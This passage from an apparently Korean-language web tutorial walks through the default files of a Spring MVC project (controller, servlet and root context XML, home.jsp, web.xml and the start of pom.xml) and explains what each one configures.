</span></span></span><span class="line"><span class="cl"><span class="w">	
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="kd">private</span><span class="w"> </span><span class="kd">static</span><span class="w"> </span><span class="kd">final</span><span class="w"> </span><span class="n">Logger</span><span class="w"> </span><span class="n">logger</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">LoggerFactory</span><span class="p">.</span><span class="na">getLogger</span><span class="p">(</span><span class="n">HomeController</span><span class="p">.</span><span class="na">class</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="cm">/**
</span></span></span><span class="line"><span class="cl"><span class="cm">	 * Simply selects the home view to render by returning its name.
</span></span></span><span class="line"><span class="cl"><span class="cm">	 */</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nd">@RequestMapping</span><span class="p">(</span><span class="n">value</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">&#34;/&#34;</span><span class="p">,</span><span class="w"> </span><span class="n">method</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">RequestMethod</span><span class="p">.</span><span class="na">GET</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="kd">public</span><span class="w"> </span><span class="n">String</span><span class="w"> </span><span class="nf">home</span><span class="p">(</span><span class="n">Locale</span><span class="w"> </span><span class="n">locale</span><span class="p">,</span><span class="w"> </span><span class="n">Model</span><span class="w"> </span><span class="n">model</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">		</span><span class="n">logger</span><span class="p">.</span><span class="na">info</span><span class="p">(</span><span class="s">&#34;Welcome home! The client locale is {}.&#34;</span><span class="p">,</span><span class="w"> </span><span class="n">locale</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">		
</span></span></span><span class="line"><span class="cl"><span class="w">		</span><span class="n">Date</span><span class="w"> </span><span class="n">date</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">Date</span><span class="p">();</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">		</span><span class="n">DateFormat</span><span class="w"> </span><span class="n">dateFormat</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">DateFormat</span><span class="p">.</span><span class="na">getDateTimeInstance</span><span class="p">(</span><span class="n">DateFormat</span><span class="p">.</span><span class="na">LONG</span><span class="p">,</span><span class="w"> </span><span class="n">DateFormat</span><span class="p">.</span><span class="na">LONG</span><span class="p">,</span><span class="w"> </span><span class="n">locale</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">		
</span></span></span><span class="line"><span class="cl"><span class="w">		</span><span class="n">String</span><span class="w"> </span><span class="n">formattedDate</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">dateFormat</span><span class="p">.</span><span class="na">format</span><span class="p">(</span><span class="n">date</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">		
</span></span></span><span class="line"><span class="cl"><span class="w">		</span><span class="n">model</span><span class="p">.</span><span class="na">addAttribute</span><span class="p">(</span><span class="s">&#34;serverTime&#34;</span><span class="p">,</span><span class="w"> </span><span class="n">formattedDate</span><span class="w"> </span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">		
</span></span></span><span class="line"><span class="cl"><span class="w">		</span><span class="k">return</span><span class="w"> </span><span class="s">&#34;home&#34;</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="p">}</span><span class="w">
</span></span></span></code></pre></div><p>위와 같이 @Controller 어노테이션과 @RequestMapping 어노테이션으로 URL 요청을 처리하는 코드이다. 이러한 코드를 바탕으로 비즈니스 로직을 구성하고 사용자 요청에 따른 DB조회 처리구문을 작성하면 웹서버로 동작하게 될것이다.</p>
<br>
<p>src/main/webapp 아래에 resources폴더는 우리가 웹 서버를 프로그래밍 하면서 정적 링크를 사용할 경로이다. 예를 들어 이미지 파일들이 될 것이다.</p>
<br>
<p>WEB-INF -&gt; spring 아래의 파일과 폴더들은 웹 서버 상에서는 접근이 불가능한 부분이다. 스프링의 기본적인 설정파일들이 담겨있다. WEB-INF 내부 파일들에 대해서 알아보자.</p>
<p>appServlet -&gt; servlet-context.xml에는 다음과 같은 내용의 코드가 들어있다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-xml" data-lang="xml"><span class="line"><span class="cl"><span class="cp">&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&gt;</span>
</span></span><span class="line"><span class="cl"><span class="nt">&lt;beans:beans</span> <span class="na">xmlns=</span><span class="s">&#34;http://www.springframework.org/schema/mvc&#34;</span>
</span></span><span class="line"><span class="cl">	<span class="na">xmlns:xsi=</span><span class="s">&#34;http://www.w3.org/2001/XMLSchema-instance&#34;</span>
</span></span><span class="line"><span class="cl">	<span class="na">xmlns:beans=</span><span class="s">&#34;http://www.springframework.org/schema/beans&#34;</span>
</span></span><span class="line"><span class="cl">	<span class="na">xmlns:context=</span><span class="s">&#34;http://www.springframework.org/schema/context&#34;</span>
</span></span><span class="line"><span class="cl">	<span class="na">xsi:schemaLocation=</span><span class="s">&#34;http://www.springframework.org/schema/mvc https://www.springframework.org/schema/mvc/spring-mvc.xsd
</span></span></span><span class="line"><span class="cl"><span class="s">		http://www.springframework.org/schema/beans https://www.springframework.org/schema/beans/spring-beans.xsd
</span></span></span><span class="line"><span class="cl"><span class="s">		http://www.springframework.org/schema/context https://www.springframework.org/schema/context/spring-context.xsd&#34;</span><span class="nt">&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="c">&lt;!-- DispatcherServlet Context: defines this servlet&#39;s request-processing infrastructure --&gt;</span>
</span></span><span class="line"><span class="cl">	
</span></span><span class="line"><span class="cl">	<span class="c">&lt;!-- Enables the Spring MVC @Controller programming model --&gt;</span>
</span></span><span class="line"><span class="cl">	<span class="nt">&lt;annotation-driven</span> <span class="nt">/&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="c">&lt;!-- Handles HTTP GET requests for /resources/** by efficiently serving up static resources in the ${webappRoot}/resources directory --&gt;</span>
</span></span><span class="line"><span class="cl">	<span class="nt">&lt;resources</span> <span class="na">mapping=</span><span class="s">&#34;/resources/**&#34;</span> <span class="na">location=</span><span class="s">&#34;/resources/&#34;</span> <span class="nt">/&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="c">&lt;!-- Resolves views selected for rendering by @Controllers to .jsp resources in the /WEB-INF/views directory --&gt;</span>
</span></span><span class="line"><span class="cl">	<span class="nt">&lt;beans:bean</span> <span class="na">class=</span><span class="s">&#34;org.springframework.web.servlet.view.InternalResourceViewResolver&#34;</span><span class="nt">&gt;</span>
</span></span><span class="line"><span class="cl">		<span class="nt">&lt;beans:property</span> <span class="na">name=</span><span class="s">&#34;prefix&#34;</span> <span class="na">value=</span><span class="s">&#34;/WEB-INF/views/&#34;</span> <span class="nt">/&gt;</span>
</span></span><span class="line"><span class="cl">		<span class="nt">&lt;beans:property</span> <span class="na">name=</span><span class="s">&#34;suffix&#34;</span> <span class="na">value=</span><span class="s">&#34;.jsp&#34;</span> <span class="nt">/&gt;</span>
</span></span><span class="line"><span class="cl">	<span class="nt">&lt;/beans:bean&gt;</span>
</span></span><span class="line"><span class="cl">	
</span></span><span class="line"><span class="cl">	<span class="nt">&lt;context:component-scan</span> <span class="na">base-package=</span><span class="s">&#34;com.test.test&#34;</span> <span class="nt">/&gt;</span>
</span></span><span class="line"><span class="cl">	
</span></span><span class="line"><span class="cl">	
</span></span><span class="line"><span class="cl">	
</span></span><span class="line"><span class="cl"><span class="nt">&lt;/beans:beans&gt;</span>
</span></span></code></pre></div><p>살펴보면 jsp 서블릿 처리에 관한 내용들이 보이고 MVC의 V에 해당하는 view에 해당하는 bean을 생성해 컨트롤러는 url요청에 대한 응답으로 /WEB-INF/views/에서 .jsp파일을 리턴하는 구조로 보인다.</p>
<p>또 js, css, img 등을 위한 /resources/**구분도 보인다.</p>
<br>
<p>root-context.xml에는 다음과 같은 내용이 들어있다</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-xml" data-lang="xml"><span class="line"><span class="cl"><span class="cp">&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&gt;</span>
</span></span><span class="line"><span class="cl"><span class="nt">&lt;beans</span> <span class="na">xmlns=</span><span class="s">&#34;http://www.springframework.org/schema/beans&#34;</span>
</span></span><span class="line"><span class="cl">	<span class="na">xmlns:xsi=</span><span class="s">&#34;http://www.w3.org/2001/XMLSchema-instance&#34;</span>
</span></span><span class="line"><span class="cl">	<span class="na">xsi:schemaLocation=</span><span class="s">&#34;http://www.springframework.org/schema/beans https://www.springframework.org/schema/beans/spring-beans.xsd&#34;</span><span class="nt">&gt;</span>
</span></span><span class="line"><span class="cl">	
</span></span><span class="line"><span class="cl">	<span class="c">&lt;!-- Root Context: defines shared resources visible to all other web components --&gt;</span>
</span></span><span class="line"><span class="cl">		
</span></span><span class="line"><span class="cl"><span class="nt">&lt;/beans&gt;</span>
</span></span></code></pre></div><p>bean 선언에 관한 내용 말고는 추가된 내용은 없어보인다.</p>
<p>그럴수 밖에 없는것이 root-context.xml는 DAO(Data Access Object), VO(Value Object)등 DB연동 관련 서비스에 관한 설정이 적용되는 부분으로 지금은 mybatis나 mariaDB 같이 외부 데이터베이스에 대해 설정을 한것이 없기 떄문이다.</p>
<br>
<p>view -&gt; home.jsp는 servlet-context.xml에서 설정한것 같이, 컨트롤러에 URL 요청이 들어오면 리턴되는 jsp 파일들이 저장되는 곳이다. MVC의 V인 view에서는 jsp를 통해 렌더링 된 화면을 서블릿을 통해 반환한다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-xml" data-lang="xml"><span class="line"><span class="cl"><span class="err">&lt;</span>%@ taglib uri=&#34;http://java.sun.com/jsp/jstl/core&#34; prefix=&#34;c&#34; %&gt;
</span></span><span class="line"><span class="cl"><span class="err">&lt;</span>%@ page session=&#34;false&#34; %&gt;
</span></span><span class="line"><span class="cl"><span class="nt">&lt;html&gt;</span>
</span></span><span class="line"><span class="cl"><span class="nt">&lt;head&gt;</span>
</span></span><span class="line"><span class="cl">	<span class="nt">&lt;title&gt;</span>Home<span class="nt">&lt;/title&gt;</span>
</span></span><span class="line"><span class="cl"><span class="nt">&lt;/head&gt;</span>
</span></span><span class="line"><span class="cl"><span class="nt">&lt;body&gt;</span>
</span></span><span class="line"><span class="cl"><span class="nt">&lt;h1&gt;</span>
</span></span><span class="line"><span class="cl">	Hello world!  
</span></span><span class="line"><span class="cl"><span class="nt">&lt;/h1&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nt">&lt;P&gt;</span>  The time on the server is ${serverTime}. <span class="nt">&lt;/P&gt;</span>
</span></span><span class="line"><span class="cl"><span class="nt">&lt;/body&gt;</span>
</span></span><span class="line"><span class="cl"><span class="nt">&lt;/html&gt;</span>
</span></span></code></pre></div><br>
<p>이런 코드를 가지고 있으며 이 상태로 프로젝트를 돌리면 아마 화면에서 인코딩 에러가 날 것이다. 따라서 개발중 생성되는 jsp파일들의 첫번째 줄에는</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-xml" data-lang="xml"><span class="line"><span class="cl"><span class="err">&lt;</span>%@ page language=&#34;java&#34; contentType=&#34;text/html; charset=utf-8&#34; pageEncoding=&#34;utf-8&#34;%&gt;
</span></span></code></pre></div><p>을 붙여 개발한다.</p>
<br>
<p>다음 web.xml을 살펴보자.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-xml" data-lang="xml"><span class="line"><span class="cl"><span class="cp">&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&gt;</span>
</span></span><span class="line"><span class="cl"><span class="nt">&lt;web-app</span> <span class="na">version=</span><span class="s">&#34;2.5&#34;</span> <span class="na">xmlns=</span><span class="s">&#34;http://java.sun.com/xml/ns/javaee&#34;</span>
</span></span><span class="line"><span class="cl">	<span class="na">xmlns:xsi=</span><span class="s">&#34;http://www.w3.org/2001/XMLSchema-instance&#34;</span>
</span></span><span class="line"><span class="cl">	<span class="na">xsi:schemaLocation=</span><span class="s">&#34;http://JAVA.sun.com/xml/ns/javaee https://java.sun.com/xml/ns/javaee/web-app_2_5.xsd&#34;</span><span class="nt">&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="c">&lt;!-- The definition of the Root Spring Container shared by all Servlets and Filters --&gt;</span>
</span></span><span class="line"><span class="cl">	<span class="nt">&lt;context-param&gt;</span>
</span></span><span class="line"><span class="cl">		<span class="nt">&lt;param-name&gt;</span>contextConfigLocation<span class="nt">&lt;/param-name&gt;</span>
</span></span><span class="line"><span class="cl">		<span class="nt">&lt;param-value&gt;</span>/WEB-INF/spring/root-context.xml<span class="nt">&lt;/param-value&gt;</span>
</span></span><span class="line"><span class="cl">	<span class="nt">&lt;/context-param&gt;</span>
</span></span><span class="line"><span class="cl">	
</span></span><span class="line"><span class="cl">	<span class="c">&lt;!-- Creates the Spring Container shared by all Servlets and Filters --&gt;</span>
</span></span><span class="line"><span class="cl">	<span class="nt">&lt;listener&gt;</span>
</span></span><span class="line"><span class="cl">		<span class="nt">&lt;listener-class&gt;</span>org.springframework.web.context.ContextLoaderListener<span class="nt">&lt;/listener-class&gt;</span>
</span></span><span class="line"><span class="cl">	<span class="nt">&lt;/listener&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="c">&lt;!-- Processes application requests --&gt;</span>
</span></span><span class="line"><span class="cl">	<span class="nt">&lt;servlet&gt;</span>
</span></span><span class="line"><span class="cl">		<span class="nt">&lt;servlet-name&gt;</span>appServlet<span class="nt">&lt;/servlet-name&gt;</span>
</span></span><span class="line"><span class="cl">		<span class="nt">&lt;servlet-class&gt;</span>org.springframework.web.servlet.DispatcherServlet<span class="nt">&lt;/servlet-class&gt;</span>
</span></span><span class="line"><span class="cl">		<span class="nt">&lt;init-param&gt;</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&lt;param-name&gt;</span>contextConfigLocation<span class="nt">&lt;/param-name&gt;</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&lt;param-value&gt;</span>/WEB-INF/spring/appServlet/servlet-context.xml<span class="nt">&lt;/param-value&gt;</span>
</span></span><span class="line"><span class="cl">		<span class="nt">&lt;/init-param&gt;</span>
</span></span><span class="line"><span class="cl">		<span class="nt">&lt;load-on-startup&gt;</span>1<span class="nt">&lt;/load-on-startup&gt;</span>
</span></span><span class="line"><span class="cl">	<span class="nt">&lt;/servlet&gt;</span>
</span></span><span class="line"><span class="cl">		
</span></span><span class="line"><span class="cl">	<span class="nt">&lt;servlet-mapping&gt;</span>
</span></span><span class="line"><span class="cl">		<span class="nt">&lt;servlet-name&gt;</span>appServlet<span class="nt">&lt;/servlet-name&gt;</span>
</span></span><span class="line"><span class="cl">		<span class="nt">&lt;url-pattern&gt;</span>/<span class="nt">&lt;/url-pattern&gt;</span>
</span></span><span class="line"><span class="cl">	<span class="nt">&lt;/servlet-mapping&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nt">&lt;/web-app&gt;</span>
</span></span></code></pre></div><p>코드를 살펴보면 서블릿 설정과 컨텍스트관련 경로 설정을 잡아준다. WAS에서 필요한 Servlet설정들을 명시해주는 부분이다.</p>
<br>
<p>프로젝트 이름이 test라 햇갈릴수 있지만&hellip;. test 키워드로 /src/test 등 폴더들은 JUnit test에 사용된 코드와 class들이 저장되는 곳이다.</p>
<br>
<p>마지막으로 pom.xml을 살펴보자. Spring은 Maven의 의존성을 통해 버전관리를 하고 원하는 라이브러리를 편하게 다운받을 수 있다. 이런 Maven의 설정에 관한 코드를 pom.xml에 작성한다. 스프링 버전, 자바 버전, 기타 라이브러리 등 모든 버전과 관련된 설정파일은 전부 여기에 작성된다.</p>
<p>코드를 살펴보자.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-xml" data-lang="xml"><span class="line"><span class="cl"><span class="cp">&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&gt;</span>
</span></span><span class="line"><span class="cl"><span class="nt">&lt;project</span> <span class="na">xmlns=</span><span class="s">&#34;http://maven.apache.org/POM/4.0.0&#34;</span> <span class="na">xmlns:xsi=</span><span class="s">&#34;http://www.w3.org/2001/XMLSchema-instance&#34;</span>
</span></span><span class="line"><span class="cl">	<span class="na">xsi:schemaLocation=</span><span class="s">&#34;http://maven.apache.org/POM/4.0.0 https://maven.apache.org/maven-v4_0_0.xsd&#34;</span><span class="nt">&gt;</span>
</span></span><span class="line"><span class="cl">	<span class="nt">&lt;modelVersion&gt;</span>4.0.0<span class="nt">&lt;/modelVersion&gt;</span>
</span></span><span class="line"><span class="cl">	<span class="nt">&lt;groupId&gt;</span>com.test<span class="nt">&lt;/groupId&gt;</span>
</span></span><span class="line"><span class="cl">	<span class="nt">&lt;artifactId&gt;</span>test<span class="nt">&lt;/artifactId&gt;</span>
</span></span><span class="line"><span class="cl">	<span class="nt">&lt;name&gt;</span>test<span class="nt">&lt;/name&gt;</span>
</span></span><span class="line"><span class="cl">	<span class="nt">&lt;packaging&gt;</span>war<span class="nt">&lt;/packaging&gt;</span>
</span></span><span class="line"><span class="cl">	<span class="nt">&lt;version&gt;</span>1.0.0-BUILD-SNAPSHOT<span class="nt">&lt;/version&gt;</span>
</span></span><span class="line"><span class="cl">	<span class="nt">&lt;properties&gt;</span>
</span></span><span class="line"><span class="cl">		<span class="nt">&lt;java-version&gt;</span>11<span class="nt">&lt;/java-version&gt;</span>
</span></span><span class="line"><span class="cl">		<span class="nt">&lt;org.springframework-version&gt;</span>5.3.17<span class="nt">&lt;/org.springframework-version&gt;</span>
</span></span><span class="line"><span class="cl">		<span class="nt">&lt;org.aspectj-version&gt;</span>1.6.10<span class="nt">&lt;/org.aspectj-version&gt;</span>
</span></span><span class="line"><span class="cl">		<span class="nt">&lt;org.slf4j-version&gt;</span>1.6.6<span class="nt">&lt;/org.slf4j-version&gt;</span>
</span></span><span class="line"><span class="cl">	<span class="nt">&lt;/properties&gt;</span>
</span></span><span class="line"><span class="cl">	<span class="nt">&lt;dependencies&gt;</span>
</span></span><span class="line"><span class="cl">		<span class="c">&lt;!-- Spring --&gt;</span>
</span></span><span class="line"><span class="cl">		<span class="nt">&lt;dependency&gt;</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&lt;groupId&gt;</span>org.springframework<span class="nt">&lt;/groupId&gt;</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&lt;artifactId&gt;</span>spring-context<span class="nt">&lt;/artifactId&gt;</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&lt;version&gt;</span>${org.springframework-version}<span class="nt">&lt;/version&gt;</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&lt;exclusions&gt;</span>
</span></span><span class="line"><span class="cl">				<span class="c">&lt;!-- Exclude Commons Logging in favor of SLF4j --&gt;</span>
</span></span><span class="line"><span class="cl">				<span class="nt">&lt;exclusion&gt;</span>
</span></span><span class="line"><span class="cl">					<span class="nt">&lt;groupId&gt;</span>commons-logging<span class="nt">&lt;/groupId&gt;</span>
</span></span><span class="line"><span class="cl">					<span class="nt">&lt;artifactId&gt;</span>commons-logging<span class="nt">&lt;/artifactId&gt;</span>
</span></span><span class="line"><span class="cl">				 <span class="nt">&lt;/exclusion&gt;</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&lt;/exclusions&gt;</span>
</span></span><span class="line"><span class="cl">		<span class="nt">&lt;/dependency&gt;</span>
</span></span><span class="line"><span class="cl">		<span class="nt">&lt;dependency&gt;</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&lt;groupId&gt;</span>org.springframework<span class="nt">&lt;/groupId&gt;</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&lt;artifactId&gt;</span>spring-webmvc<span class="nt">&lt;/artifactId&gt;</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&lt;version&gt;</span>${org.springframework-version}<span class="nt">&lt;/version&gt;</span>
</span></span><span class="line"><span class="cl">		<span class="nt">&lt;/dependency&gt;</span>
</span></span><span class="line"><span class="cl">				
</span></span><span class="line"><span class="cl">		<span class="c">&lt;!-- AspectJ --&gt;</span>
</span></span><span class="line"><span class="cl">		<span class="nt">&lt;dependency&gt;</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&lt;groupId&gt;</span>org.aspectj<span class="nt">&lt;/groupId&gt;</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&lt;artifactId&gt;</span>aspectjrt<span class="nt">&lt;/artifactId&gt;</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&lt;version&gt;</span>${org.aspectj-version}<span class="nt">&lt;/version&gt;</span>
</span></span><span class="line"><span class="cl">		<span class="nt">&lt;/dependency&gt;</span>	
</span></span><span class="line"><span class="cl">		
</span></span><span class="line"><span class="cl">		<span class="c">&lt;!-- Logging --&gt;</span>
</span></span><span class="line"><span class="cl">		<span class="nt">&lt;dependency&gt;</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&lt;groupId&gt;</span>org.slf4j<span class="nt">&lt;/groupId&gt;</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&lt;artifactId&gt;</span>slf4j-api<span class="nt">&lt;/artifactId&gt;</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&lt;version&gt;</span>${org.slf4j-version}<span class="nt">&lt;/version&gt;</span>
</span></span><span class="line"><span class="cl">		<span class="nt">&lt;/dependency&gt;</span>
</span></span><span class="line"><span class="cl">		<span class="nt">&lt;dependency&gt;</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&lt;groupId&gt;</span>org.slf4j<span class="nt">&lt;/groupId&gt;</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&lt;artifactId&gt;</span>jcl-over-slf4j<span class="nt">&lt;/artifactId&gt;</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&lt;version&gt;</span>${org.slf4j-version}<span class="nt">&lt;/version&gt;</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&lt;scope&gt;</span>runtime<span class="nt">&lt;/scope&gt;</span>
</span></span><span class="line"><span class="cl">		<span class="nt">&lt;/dependency&gt;</span>
</span></span><span class="line"><span class="cl">		<span class="nt">&lt;dependency&gt;</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&lt;groupId&gt;</span>org.slf4j<span class="nt">&lt;/groupId&gt;</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&lt;artifactId&gt;</span>slf4j-log4j12<span class="nt">&lt;/artifactId&gt;</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&lt;version&gt;</span>${org.slf4j-version}<span class="nt">&lt;/version&gt;</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&lt;scope&gt;</span>runtime<span class="nt">&lt;/scope&gt;</span>
</span></span><span class="line"><span class="cl">		<span class="nt">&lt;/dependency&gt;</span>
</span></span><span class="line"><span class="cl">		<span class="nt">&lt;dependency&gt;</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&lt;groupId&gt;</span>log4j<span class="nt">&lt;/groupId&gt;</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&lt;artifactId&gt;</span>log4j<span class="nt">&lt;/artifactId&gt;</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&lt;version&gt;</span>1.2.15<span class="nt">&lt;/version&gt;</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&lt;exclusions&gt;</span>
</span></span><span class="line"><span class="cl">				<span class="nt">&lt;exclusion&gt;</span>
</span></span><span class="line"><span class="cl">					<span class="nt">&lt;groupId&gt;</span>javax.mail<span class="nt">&lt;/groupId&gt;</span>
</span></span><span class="line"><span class="cl">					<span class="nt">&lt;artifactId&gt;</span>mail<span class="nt">&lt;/artifactId&gt;</span>
</span></span><span class="line"><span class="cl">				<span class="nt">&lt;/exclusion&gt;</span>
</span></span><span class="line"><span class="cl">				<span class="nt">&lt;exclusion&gt;</span>
</span></span><span class="line"><span class="cl">					<span class="nt">&lt;groupId&gt;</span>javax.jms<span class="nt">&lt;/groupId&gt;</span>
</span></span><span class="line"><span class="cl">					<span class="nt">&lt;artifactId&gt;</span>jms<span class="nt">&lt;/artifactId&gt;</span>
</span></span><span class="line"><span class="cl">				<span class="nt">&lt;/exclusion&gt;</span>
</span></span><span class="line"><span class="cl">				<span class="nt">&lt;exclusion&gt;</span>
</span></span><span class="line"><span class="cl">					<span class="nt">&lt;groupId&gt;</span>com.sun.jdmk<span class="nt">&lt;/groupId&gt;</span>
</span></span><span class="line"><span class="cl">					<span class="nt">&lt;artifactId&gt;</span>jmxtools<span class="nt">&lt;/artifactId&gt;</span>
</span></span><span class="line"><span class="cl">				<span class="nt">&lt;/exclusion&gt;</span>
</span></span><span class="line"><span class="cl">				<span class="nt">&lt;exclusion&gt;</span>
</span></span><span class="line"><span class="cl">					<span class="nt">&lt;groupId&gt;</span>com.sun.jmx<span class="nt">&lt;/groupId&gt;</span>
</span></span><span class="line"><span class="cl">					<span class="nt">&lt;artifactId&gt;</span>jmxri<span class="nt">&lt;/artifactId&gt;</span>
</span></span><span class="line"><span class="cl">				<span class="nt">&lt;/exclusion&gt;</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&lt;/exclusions&gt;</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&lt;scope&gt;</span>runtime<span class="nt">&lt;/scope&gt;</span>
</span></span><span class="line"><span class="cl">		<span class="nt">&lt;/dependency&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">		<span class="c">&lt;!-- @Inject --&gt;</span>
</span></span><span class="line"><span class="cl">		<span class="nt">&lt;dependency&gt;</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&lt;groupId&gt;</span>javax.inject<span class="nt">&lt;/groupId&gt;</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&lt;artifactId&gt;</span>javax.inject<span class="nt">&lt;/artifactId&gt;</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&lt;version&gt;</span>1<span class="nt">&lt;/version&gt;</span>
</span></span><span class="line"><span class="cl">		<span class="nt">&lt;/dependency&gt;</span>
</span></span><span class="line"><span class="cl">				
</span></span><span class="line"><span class="cl">		<span class="c">&lt;!-- Servlet --&gt;</span>
</span></span><span class="line"><span class="cl">		<span class="nt">&lt;dependency&gt;</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&lt;groupId&gt;</span>javax.servlet<span class="nt">&lt;/groupId&gt;</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&lt;artifactId&gt;</span>servlet-api<span class="nt">&lt;/artifactId&gt;</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&lt;version&gt;</span>2.5<span class="nt">&lt;/version&gt;</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&lt;scope&gt;</span>provided<span class="nt">&lt;/scope&gt;</span>
</span></span><span class="line"><span class="cl">		<span class="nt">&lt;/dependency&gt;</span>
</span></span><span class="line"><span class="cl">		<span class="nt">&lt;dependency&gt;</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&lt;groupId&gt;</span>javax.servlet.jsp<span class="nt">&lt;/groupId&gt;</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&lt;artifactId&gt;</span>jsp-api<span class="nt">&lt;/artifactId&gt;</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&lt;version&gt;</span>2.1<span class="nt">&lt;/version&gt;</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&lt;scope&gt;</span>provided<span class="nt">&lt;/scope&gt;</span>
</span></span><span class="line"><span class="cl">		<span class="nt">&lt;/dependency&gt;</span>
</span></span><span class="line"><span class="cl">		<span class="nt">&lt;dependency&gt;</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&lt;groupId&gt;</span>javax.servlet<span class="nt">&lt;/groupId&gt;</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&lt;artifactId&gt;</span>jstl<span class="nt">&lt;/artifactId&gt;</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&lt;version&gt;</span>1.2<span class="nt">&lt;/version&gt;</span>
</span></span><span class="line"><span class="cl">		<span class="nt">&lt;/dependency&gt;</span>
</span></span><span class="line"><span class="cl">	
</span></span><span class="line"><span class="cl">		<span class="c">&lt;!-- Test --&gt;</span>
</span></span><span class="line"><span class="cl">		<span class="nt">&lt;dependency&gt;</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&lt;groupId&gt;</span>junit<span class="nt">&lt;/groupId&gt;</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&lt;artifactId&gt;</span>junit<span class="nt">&lt;/artifactId&gt;</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&lt;version&gt;</span>4.7<span class="nt">&lt;/version&gt;</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&lt;scope&gt;</span>test<span class="nt">&lt;/scope&gt;</span>
</span></span><span class="line"><span class="cl">		<span class="nt">&lt;/dependency&gt;</span>        
</span></span><span class="line"><span class="cl">	<span class="nt">&lt;/dependencies&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&lt;build&gt;</span>
